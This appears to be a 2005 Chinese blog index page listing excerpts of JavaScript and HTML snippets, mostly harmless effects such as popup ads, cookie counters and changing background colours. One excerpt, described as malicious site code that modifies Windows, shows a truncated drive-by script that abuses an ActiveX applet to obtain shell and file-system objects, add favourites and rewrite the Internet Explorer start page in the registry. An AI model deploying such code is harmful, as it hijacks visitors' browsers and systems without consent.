博文
JavaScript广告代码(2005-11-27 17:24:00)
摘要:<html><head><script language="javascript">var xx;function pop(){xx=window.open("广告.htm","subwin","width=400,height=200"); //移动到屏幕中央。 xx.moveTo((screen.width-400)/2,(screen.height-200)/2); //广告窗口放在最前面 xx.focus(); // 5秒后关闭 setTimeout("closepop()",5000);}function closepop(){xx.close();}</script></head><body onload="javascript:pop();"></body></html> ......
一段修改WIN系统的恶意网站代码(2005-11-25 18:57:00)
摘要:<SCRIPT language=JavaScript> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); <!--创建到收藏夹--> function AddFavLnk(loc, DispName, SiteURL) { var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); Shor.TargetPath = SiteURL; Shor.Save(); } function f(){ try { <!--ActiveX初始化过程--> ActiveX initialization a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject();
try { if (documents .cookies.indexOf("Chg") == -1) { <!--修改设置主页--> //Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://com.6to23.com/"); var expdate = new Date((new Date()).getTime() + (1)); documents .cookies="Chg=general; expires=" + expdate.toGMTString() + ......
让网页没有copy功能的语句.(2005-11-01 17:16:00)
摘要:<noscript><iframe src=*></iframe></noscript>......
HTML添加网站计数器(Cookie)(2005-10-13 21:24:00)
摘要:<html> <head> <title>Cookie 计数器</title> </head> <SCRIPT language="JavaScript"> function www_helpor_net(offset) { var endstr=document.cookie.indexOf(";",offset); if(endstr==-1) endstr=document.cookie.length; return unescape(document.cookie.substring(offset,endstr)); } function GetCookie(name) { var arg=name+"="; var alen=arg.length; var clen=document.cookie.length; var i=0;while(i<clen) { var j=i+alen; if(document.cookie.substring(i,j)==arg) return www_helpor_net(j); i=document.cookie.indexOf(" ",i)+1;if(i==0) break; } return null; } function SetCookie(name,value) { var argv=SetCookie.arguments; var argc=SetCookie.arguments.length; var expires=(2<argc)?argv[2]:null; var path=(3<argc)?argv[3]:null; var domain=(4<argc)?argv[4]:null; var secure=(5<argc)?argv[5]:false; document.cookie=name+"="+escape(value)+((expires==null)?"":("; e......
动态HTML技术精彩实例(Z)(2005-10-12 20:08:00)
摘要:要想提高自己主页的知名度,就是要有可观的回头客,这就要求主页能给人良好的印象,而动态HTML(DHTML)技术制作的动态网页,能产生令人震撼的视觉冲击效果,使你的主页令人流连忘返。 下面介绍几个精彩实例,以飨读者。 一、飞行的图片 在<head>中适当位置加入如下代码: <script language="JavaScript"> <!-- var left=0; var top=200; var stepx=2; function jump() { left=left+stepx; if(left>710) stepx=-2; if(-left>0) stepx=2; sign.style.left=left; sign.style.top=top; timeID=setTimeout("jump()",100); } --> </script> <bo......
JavaScript 背景颜色不断改变.(2005-09-18 17:56:00)
摘要:<HTML> <HEAD> <TITLE>屏幕</TITLE> <Script Language="JavaScript"> a=new Array(); function RunTime() { for(i=0;i<6;i++) a[i]=parseInt(Math.random()*16+1); ColorStr="#"+fun(a[0])+fun(a[1])+fun(a[2])+fun(a[3])+fun(a[4])+fun(a[5]); document.bgColor=ColorStr; ID =setTimeout("RunTime()",1000); }
function fun(num) { if(a>=10) return a-10+'A'; else return num; } ID =setTimeout("RunTime()",1000);
</Script> <body> </HEAD> </BODY> </HTML>......
JavaScript 超连接.(2005-09-18 17:29:00)
摘要:<HTML> <HEAD> <TITLE>连接</TITLE> <Script Language="JavaScript"> function fun() { alert("猪院有很多好看的电影哦,哈哈:)"); } </Script> </HEAD> <form Name="ThisForm"> <a href="http://202.116.24.100" onclick="fun()"> 珠海学院</a> <br> </form> </BODY> </HTML>......
JavaScript open()的使用.(2005-09-18 17:16:00)
摘要: <HTML> <HEAD> <TITLE>open属性</TITLE> <Script Language="JavaScript"> function New() { document.open(); document.writeln("<BODY BackGround='bg.jpg'>") document.writeln("<PRE>") document.writeln("<h2>") document.writeln("床前明月光") document.writeln("疑似地上霜") document.writeln("举头望明月") document.writeln("低头思故乡") document.writeln("</h2>") document.writeln("</PRE>") } </Script> </HEAD> <form Name="ThisForm"> <Input type=submit name="press" value="Open" OnClick="New()"> </form>
</BODY> </HTML>......
JavaScript 随机产生背景颜色.(2005-09-18 17:04:00)
摘要: <HTML> <HEAD> <TITLE>bgColor属性</TITLE> <Script Language="JavaScript"> a=new Array(); for(i=0;i<6;i++) a[i]=parseInt(Math.random()*16+1); ColorStr="#"+fun(a[0])+fun(a[1])+fun(a[2])+fun(a[3])+fun(a[4])+fun(a[5]); document.write("<BODY bgcolor="+ColorStr+">") function fun(num) { if(a>=10) return a-10+'A'; else return num; } </Script> </HEAD>
</BODY> </HTML>......
JavaScript 背景颜色改变.(2005-09-18 16:44:00)
摘要:<HTML> <HEAD> <TITLE>bgColor属性</TITLE> <Script Language="JavaScript"> function ChBgColor() { document.bgColor=document.ThisForm.p.value; } </Script> </HEAD> <BODY> <FORM NAME="ThisForm"> <input type="text" name="p"> <INPUT TYPE=BUTTON OnClick="ChBgColor()" NAME="Press1" VALUE="更改背景颜色"><BR><BR> </FORM> </BODY> </HTML>......
